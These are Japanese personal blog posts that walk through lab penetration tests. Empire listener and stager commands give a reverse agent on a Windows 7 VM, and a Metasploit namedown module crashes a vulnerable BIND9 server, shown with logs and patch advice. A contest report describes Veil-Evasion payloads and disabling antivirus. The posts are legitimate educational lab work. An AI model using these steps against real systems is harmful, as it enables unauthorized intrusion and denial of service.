とある親父の侵入実験【Empire:帝国の力 前編】

f:id:appleseedj073:20170503114540p:plain

はい、久しぶりにペネトレします。散々紹介してきたEmpireってツールを使って対象端末のパスワードを調べてみようかと思います。

 

ここで取り上げる検証等を実施する際は、全て自分の管理している環境で検証してください。使い方、実施場所を誤ると法に触れて罰せられます。

 

準備したもの

  • MacBook Pro
  • ダークサイドに堕ちたフォース

 

環境(仮想環境)

  1. Kali Linux(192.168.1.100)
  2. Windows 7 SP1(192.168.1.10)

 

1 待受準備

まずは、Kali側でEmpireを起動しリスナーモードを立ち上げる。

f:id:appleseedj073:20170503115145p:plain

 (Empire) > listeners

 (Empire: listeners) >

 

 (Empire: listeners) > info

f:id:appleseedj073:20170503115447p:plain

infoコマンドで見るとこんな感じ。今回は何も変更せずにこのまま「test」って名前のリスナーを作る。

 

f:id:appleseedj073:20170503115708p:plain

このまま実行

 (Empire: listeners) > execute

「list」で確認すると上図のようになってる。これで待ち受け完了。

 

2 侵入準備

次にこのリスナーに接続に来るファイルを作成する。macroにしたりexeにしたりと色々できるけど今回はお手軽なbatファイルを作成する。

 (Empire: listeners) > usestager launcher_bat (リスナーの名前:今回はtest)
 (Empire: stager/launcher_bat) > info

f:id:appleseedj073:20170503120256p:plain

とりあえずこんな感じになります。これもこのままのデフォルト設定で作成します。

 (Empire: stager/launcher_bat) > execute

 

f:id:appleseedj073:20170503120446p:plain

/tmp配下に作成された様子。

f:id:appleseedj073:20170503120608p:plain

 

とりあえず今回は、こいつをWebサーバを立ち上げてデリバリーする。

 python -m SimpleHTTPServer 80

f:id:appleseedj073:20170503120857p:plain

 

3 配達・実行

今度はWindows側でブラウザを立ち上げて先ほど立ち上げたWebサーバにアクセスする。

f:id:appleseedj073:20170503121211p:plain

真ん中あたりに作成したbatがあるので、これをダウンロードして実行

 

f:id:appleseedj073:20170503121322p:plain

とりあえず「実行」する。

 

4 侵入完了

Kali側に戻って確認するとリバース接続があるのが確認できる。

f:id:appleseedj073:20170503121616p:plain

 (Empire: stager/launcher_bat) > agents

 

エージェントモードに切り替えることで、端末から接続があるのが確認できる。次にこの端末にインタラクトする。

 (Empire: agents) > interact (セッションID:TPESSRK3BLUPTA4G)

 (Empire: TPESSRK3BLUPTA4G) > info

f:id:appleseedj073:20170503122017p:plain

無事に侵入できたところで一旦終了w

とある親父の侵入実験【Empire:帝国の変遷】

f:id:appleseedj073:20160813022549p:plain

このEmpireってツールって意外とコマンド多いのよね。

とりあえず勝手にモード分けして見た!モードの名称は、本当に勝手に決めただけなので苦情の類は一切受け付けませんw

 

まずはメインメニューモード

f:id:appleseedj073:20170502221430p:plain

一番最初のメイン画面から選べるコマンド群。ここからリスナーモードやエージェントモードに移行します。

 

次がリスナーモード

f:id:appleseedj073:20170502221500p:plain

メインメニューモードで「listeners」と入力するとリスナーモードへ移行する。Empireで使用するリスナーに関する設定をすることが出来る。既に対象からのリバース接続がある場合については「agents」コマンドでエージェントモードへ移行する。

 

次がエージェントモード

f:id:appleseedj073:20170502221559p:plain

リバース接続があった端末を掌握し、モジュールを使用したり端末にインタラクトしたりする。

 

エージェントモードからのインタラクトモード

f:id:appleseedj073:20170502221617p:plain

端末に完全に入り込んだ状態というのか、端末にだいぶ深く侵入している状態と考えている。かなりやれることが増えている。

 

最後がモジュールモード

f:id:appleseedj073:20170502221705p:plain

各モードで実は利用できる専用のモジュールを選択した場合に表示されるモジュールモード。「info」コマンドで必要な設定を確認して「set」コマンドを使用して値を設定して「execute」で実行。ここら辺の流れはモジュールモードに限ることなく似たような感じなったいる。

 

なんか、間違いや指摘があったらお願いしまーすw

とある親父の侵入実験【Empire:帝国の君臨w】

f:id:appleseedj073:20160813022549p:plain

久しぶりのブログネタ。

ここで取り上げる検証等を実施する際は、全て自分の管理している環境で検証してください。使い方、実施場所を誤ると法に触れて罰せられます。

今回は、Youtube見てたら見つけた「Empire」ってのを使ってみることにした。

Empire・・・「皇帝」よ!      

f:id:appleseedj073:20171103023224p:plain

Empire」はここでは皇帝と解釈しないで帝国と解釈するのが正解みたいです(2017/11/03修正)

だから、「退かぬ、媚びぬ、省みぬ!」の人が異常なく頭をよぎりましたが、全く関係ありません。

 

久しぶりに書くから書きっぷりが昔と違うとかはなしでお願いします。

1・やること

まずはKaliを立ち上げてGithubから落としてこよう

github.com

 git clone https://github.com/EmpireProject/Empire.git

 

落としてきたらsetupにあるinstall.shを叩いてやるとインスコ完了

 

2・起動

empireってのがあるのでそいつを起動する

 ./empire

 

起動したらこんな画面

f:id:appleseedj073:20170430221631p:plain

 

3・作戦開始

ここでコマンドを入れるんだけどとりあえず

f:id:appleseedj073:20170430221723p:plain

 > listeners

これでリスナーモードになる(詳しいことは後日)

ここで待ち受けるための設定を記述してあげる

f:id:appleseedj073:20170430222002p:plain

そしたら

 > execute

f:id:appleseedj073:20170430222226p:plain

実行できた感じなら以下のコマンドで確認できる

 > list

 

次に本当は色々やりたいけど今日は、手間を省いて今回作成したリスナーに接続するpowershellを書き出してもらってそれをvictimとなるwindowsにコピペ。とりあえずempireの能力の確認っていうことで・・・

まずはpowershellの発行

f:id:appleseedj073:20170430222741p:plain

 > launcher test(testはリスナーの名前)

で、この長いのをコピーしてWindowsの Cmdに貼り付けて実行

f:id:appleseedj073:20170430222857p:plain

こうしてやると・・・

kali側では

f:id:appleseedj073:20170430223229p:plain

接続が始まった旨が伝達される

 

そして

f:id:appleseedj073:20170430223620p:plain

 > agents

コマンドを叩くと接続されている端末を確認できる。

この状態で

 > interact KGDPYTHTNCN44WV3(接続時に端末に振られた名称)

とりあえず今日のところは情報はこんな感じ

f:id:appleseedj073:20170430224653p:plain

目的が先か、手段が先か

ここ最近、ずっと悩んでいた。

 

f:id:appleseedj073:20170213224356p:plain

kali linuxは、とても便利なペネトレーションテスト用のOSだと思う。ツールも豊富で、2000個以上?用意されているらしい。もしこれを自分で全て一つずつインストールしていったらどんだけの労力なんだろうか?そう考えると本当に便利である。

 

しかし、この便利なツールがあるせいで自分は考えることを疎かにしてしまった。

f:id:appleseedj073:20170213224920j:plain

「怠惰ですね」

 

Aというツールがあるから、この攻撃検証をしてみよう。

Bというツールを使って何かできないかな?

 

手段が先行してしまってる攻撃検証なんて選択肢の幅が狭い!

 

ナイフを持ってるから人を刺すの?

人を刺したいからナイフを手に取るの?

 

DoSツールを手に入れたから、A社にDoS攻撃をするの?

A社にDoS攻撃をしたいから、DoSツールを求めるんじゃないの?

 

前者の場合、先に手段が決まってしまてるからそのあとに手段が変更することなんてないと思う。でも後者の場合、まず目的があってその目的を達成するために手段を求めるから、その工程で見つかる手段は前者より選択肢が多いと思う。

 

人を刺したい → ナイフにする?杭にする?アイスピック?もっとエゲツない物?w

A社にDoS攻撃をしたい → ツールをネットから探す?ツールを自分でコーディングする?基本コマンドをうまく組み合わせる?

 

後者の方が、可能性は無限大に広がるのでは?

 

だから、これからの攻撃検証は「便利なツールを見つけたから、それを活用する攻撃検証」といった考え方ではなく、「こんなことをしたい!そのためには何をどうすれば良いか?」と考えていきたい。

 

と、久しぶりのブログは心機一転の思考パターンを備忘録的に綴ってみた。

BIND9用のMetasploit Module を使ってみる【攻撃編】

f:id:appleseedj073:20161107232032p:plain

準備ができたら攻撃検証開始!

攻撃環境

やられサーバ(CentOS 6.6)

  • IP 192.168.10.21

 

攻撃側(Kali Linux

  • IP 192.168.10.20

やられサーバ側でBINDの起動を確認

 ps awux | grep -v grep | grep bind

f:id:appleseedj073:20161113210210p:plain

BINDの起動を確認できたら攻撃側へ

 

攻撃側でとりあえずnmapしてみた。

f:id:appleseedj073:20161113210524p:plain

53番のオープンを確認

 

攻撃開始

 msfconsole

 use auxiliary/dos/dns/namedown

f:id:appleseedj073:20161113213951p:plain

optionの確認

 show options

f:id:appleseedj073:20161113214337p:plain

optionsの入力

 set RHOSTS 192.168.10.21

設定の確認

f:id:appleseedj073:20161113214702p:plain

 

必要事項を入力したら実行!

 run

f:id:appleseedj073:20161113215033p:plain

攻撃が成功しているようなメッセージが表示される。

 

やられサーバ側を確認する。

 ps awux | grep -v grep | grep bind

f:id:appleseedj073:20161113215853p:plain

BINDの起動が確認できない。

ログの確認

 cat /var/log/messages

f:id:appleseedj073:20161113220225p:plain

Nov 13 21:48:57 dns-bind-server named[21461]: client 192.168.10.20#48681: request has invalid signature: TSIG xXgKmatysB6ZVXaZAvnO3vHOCa5WkC0Ilc3tyBSyojzzTIbEa13AFZcmdlum6Nq.xXgKmatysB6ZVXaZAvnO3vHOCa5WkC0Ilc3tyBSyojzzTIbEa13AFZcmdlum6Nq.xXgKmatysB6ZVXaZAvnO3vHOCa5WkC0Ilc3tyBSyojzzTIbEa13AFZcmdlum6Nq.ZGiJyWKHqULvV9IY2sCflhqeyjVbt5agK3rf4E2FpuiMIdDyDT3OeVtzcAfW4: tsig verify failure (BADKEY)

 攻撃側から不正なクエリを受信して、tsigがBADKEYということでfailureを返す。

Nov 13 21:48:58 dns-bind-server named[21461]: buffer.c:127: REQUIRE(b->used + n <= b->length) failed

 buffer.cのREQUIRE(b->used + n <= b->length)でエラーになって failedと返している。

Nov 13 21:48:58 dns-bind-server named[21461]: exiting (due to assertion failure)

 次の行ではassertion failureでexiting(終了)している。

 

ちなみに脆弱性の残っていないバージョンに対して攻撃をした場合

攻撃側

f:id:appleseedj073:20161113224631p:plain

失敗してるようなメッセージ・・・。

 

やられ側

ログの確認

f:id:appleseedj073:20161113224801p:plain

Nov 13 22:42:52 dns-bind-server named[15820]: client 192.168.10.20#44603: request has invalid signature: TSIG Z5MFKBIdVnYWTamB4dlflgjkXQNSEryf4q628w9JDVwA04ZJT9abFZyPmTjZ7wb.Z5MFKBIdVnYWTamB4dlflgjkXQNSEryf4q628w9JDVwA04ZJT9abFZyPmTjZ7wb.Z5MFKBIdVnYWTamB4dlflgjkXQNSEryf4q628w9JDVwA04ZJT9abFZyPmTjZ7wb.0EYEI747SGaPV6RzJsPkst5S6TYTyAqmfEIvx9IGF1sBm4pmXu8ueYzoGy9dh: tsig verify failure (BADKEY)

 攻撃側から不正なクエリを受信して、tsigがBADKEYということでfailureを返すけどbuffer.cのエラーを返したりしてBINDが停止することはない。

 

結論

 出来ることならバージョンアップするのが良いと思う。それがダメならセカンダリを用意するなどして冗長化したほうがいいと思う。セカンダリは、BIND以外の名前解決サービスで運用するほうがいいかも。

 それも、ダメならクーロンでサービスの死活監視をして停止したらすぐに管理者に通報すると同時に停止したサービスを起動するようにしたほうがいいかも。(個人的な意見です)

 

 

 

BIND9用のMetasploit Module を使ってみる【準備編】

f:id:appleseedj073:20161107232032p:plain

久しぶりの脆弱性に対する攻撃検証をやってみる。

www.ipa.go.jp

簡単にいうと脆弱性が残るBIND9に細工したクエリを送り込むとBIND9がサービスを停止するというものである。

 

影響の受けるバージョンは以下の通り

  • BIND 9.0.x から 9.8.x までのバージョン
  • BIND 9.9.0 から 9.9.9-P2 までのバージョン
  • BIND 9.9.3-S1 から 9.9.9-S3 までのバージョン
  • BIND 9.10.0 から 9.10.4-P2 までのバージョン
  • BIND 9.11.0a1 から 9.11.0rc1 までのバージョン

 対策として、ISCから以下のバージョンへのアップデートが推奨されている

  • BIND 9.9.9-P3
  • BIND 9.9.9-S5
  • BIND 9.10.4-P3
  • BIND 9.11.0rc3

 

準備したこと

  1. やられ環境として、脆弱性が残るBIND9をインストールしたCentOS6.6を作る
  2. 例によってGitHubから持ってきたModuleを突っ込む

 

1.やられ環境として、脆弱性が残るBIND9をインストールしたCentOS6.6を作る

やられサーバのOSとしてCentOS6.6を、BINDは9.10.1-P1を用意した。どちらも、ネットでダウンロード可能。

ちなみに手順等については、以下のサイトを参考にした。


qiita.com

qiita.com

CentOSをVMwareFusionにインストールして、落としてきたBIND9.10.1-P1をインストールする。

f:id:appleseedj073:20161108075739p:plain

 

サービスを起動させて、起動を確認する。

f:id:appleseedj073:20161108075801p:plain

 

2.例によってGitHubから持ってきたModuleを突っ込む

GitHubからBIND9の脆弱性を突く攻撃モジュールをダウンロードしてくる。

github.com

 

 ダウンロードしてきたモジュール(namedown.rb)を~/.msfX/modules/auxiliary/dos/dns/ (Xには該当するバージョン)に配置する。(ディレクトリがない場合は適宜作成)

  ~/.msf4/modules/auxiliary/dos/dns/

とりあえずこれで準備は完了。

当たり前のことを当たり前のようにする 〜CODE BLUE Hack-a-Tronに参加して〜

f:id:appleseedj073:20161105163516p:plain

先月20日、21日とCODE BLUEというイベントが開催されていました。セキュリティに関するイベントなんで是非参加したいなぁっと思っていたのですが、高いw なんたって早期割引でも税込41,040円、当日料金に至っては75,600円!まず、無理・・・。

そんなわけで最初から興味を持ちつつも何も気にすることなく過ごしていたらTLにこんなものが・・・

f:id:appleseedj073:20161105164853p:plain

なに?

PCをハックする競技?

参加費無料!?

無料でビールを含むドリンク提供予定!?

とりあえず、登録だけしてみようかなw

コンテストのページを見てビックリですよ。

このコンテストでは、リアルタイムで皆様の攻撃の様子(ログ)を出力します(たまに大スクリーンに投影されます)。MCには上野宣氏をお迎えして、コメンテータと実況解説を行う他、コスプレコンパニオンがいます。ご来場の皆様には、挑戦者以外にも無料でお飲み物(ビール、ソフトドリンク)等をお配りする、新しいハッキングコンテストです。

賞金/賞品
賞品として、空撮可能なドローン(1万円程度)を参加者全員にプレゼントします。

コスプレコンパニオン!?

空撮可能なドローン(1万円程度)を参加者全員にプレゼントします。

なんなのこのイベント?絶対に採算取れないよね・・・。でも、コスプレコンパニオンがいて、ビールが飲めて、ドローンがもらえるなら参加してみよう!仕事休んでも参加だ!!

 

と、いうわけで10月20日を迎えて参加してきましたw

f:id:appleseedj073:20161105172256j:plain

午前10時30分頃の写真ですw ちゃんとビールもらえた!

 

f:id:appleseedj073:20161105172411j:plain

この席からニコ生に放送されていました。

 

 可愛いコスプレイヤーさんにも会えた!

 

とりあえず・・・当初の目標は達成したw

あとは、経験値稼ぎ程度に競技に参加して見事に散って帰ろうw

 

1日目の競技内容は、

競技参加者は自身のコンピュータを使って挑戦する個人戦です。Full Pursuitと呼ばれるカーネルの動きまで詳細に出力するロギングツール(※攻撃を防ぐような動作はしません)が入った4台のコンピュータが標的です。(尚、FULL PURSUITは警察庁に導入されています。)スイッチとLANケーブル(カテゴリ5e)は提供されます。競技参加者は自身のコンピュータとその他のデバイスを自由に使えます。競技は1時間の中でどれだけ多くの得点を獲得するかを競います。2回目にも連続出場OKです(同一端末を手配します)。

下記の攻撃は得点としてカウントします(2度めの同様の攻撃はカウントしません):
- スクリプトプロセスを用いた外部通信
- 管理者権限でのコマンド実行
- Windowsフォルダへのファイルの書き込み
- リモートデスクトップの有効化
- DEPのキャンセル
- 他のユーザメモリのエクスプロイト
- 他のシステムメモリを止める or エクスプロイト
- IDT (Interrupt Descriptor Table)の改ざん
- MBRの書き換え

競技ルール
競技の対象コンピュータの設定は下記の通り
-Toshiba Satellite Pro S750 Seriesに、コンテスト仕様のFull Pursuit(ロギングツール)、Windows 7 Professional 64bit SP1, Office 2010, Chrome, Firefox, Safari, Acrobat Reader, Java VM, Microsoft Security Essentials (最新版)
- 競技参加者にはゲストアカウントが与えられる

(失格につながる)違反行為
- 再起動、BSOD -- そこで即刻ゲームオーバー
- あらゆるデバイスの意図的な物理的破壊は失格となる
- OSの論理的破壊(起動しない)は失格となる

というルール。

 

とりあえず、競技開始して思った。最新版になっているWindows 7って思ったより強いね(T . T)

外からの通信は受け付けないし、当然、対策してないペイロードは速攻で処理されるし・・・。どうしましょうって感じでした。そんな中、実況では「もう何ポイントか取られてますね」「既に管理者権限を取得しているかもしれません」なんて煽るから焦る焦る。

単純に脆弱性なんてものは残っていなそうだし、なんかプログラムを動かしてメモリに割り込むなんて高等技術は持ち合わせてないので、まずはなんとかして持ち込んだPC上で動かしているKali Linuxと接続させようと考えた。

ルールでは、PCの接続も許可されいるし、USBの接続も禁止されていないので「Veil-Evasion」でペイロードを作成して、USBで対象端末にコピーして実行。難読化したペイロードを実行して、Metaplitorを動かして見た。

github.com

 

MetaplitorからMSE殺したり、指定されたファイルを実行したり、とりあえずnotepad.exeにインジェクションして見たりとやれることやって見たけど結局管理者権限は取れなかった(T . T)

 

f:id:appleseedj073:20161105180344p:plain

だいぶ嫌になり始めていた頃のスクリーンショットw

 

指定されたポイントは、ほとんど取ることができなかったけど楽しく競技することができたし、新しい気付きも得ることができたから、参加してよかったと思う。

 

今回思ったことだが、パッチ当ててを最新版にする行為は、当たり前の事だけど結構後回しにされがち。確かにダウンロードに時間がかかったり、再起動を求められたりで面倒臭いけど、最新版にして脆弱性を無くしておくだけで攻撃者としては結構、躊躇しちゃうと思う。それに、仮にペイロードバックドア)を埋め込まれてしまっても管理者権限を簡単に奪取されるわけではないと思う。(色々と条件もあると思うけど、今回みたいな場合はという事で)

よく言われる事だけど「当たり前のことを当たり前のようにする」というのは難しいけど大事だと今回見にしみてわかった。セキュリティに携わるものとして、お金かけなくても最低限の労力で、結構効果あるセキュリティとして「常に最新の状態にしておく」ことを推進したいです。

 

最後に・・・

f:id:appleseedj073:20161105190855j:plain

ドローンは、美味しくいただきましたw

F.TRONさんありがとうございました!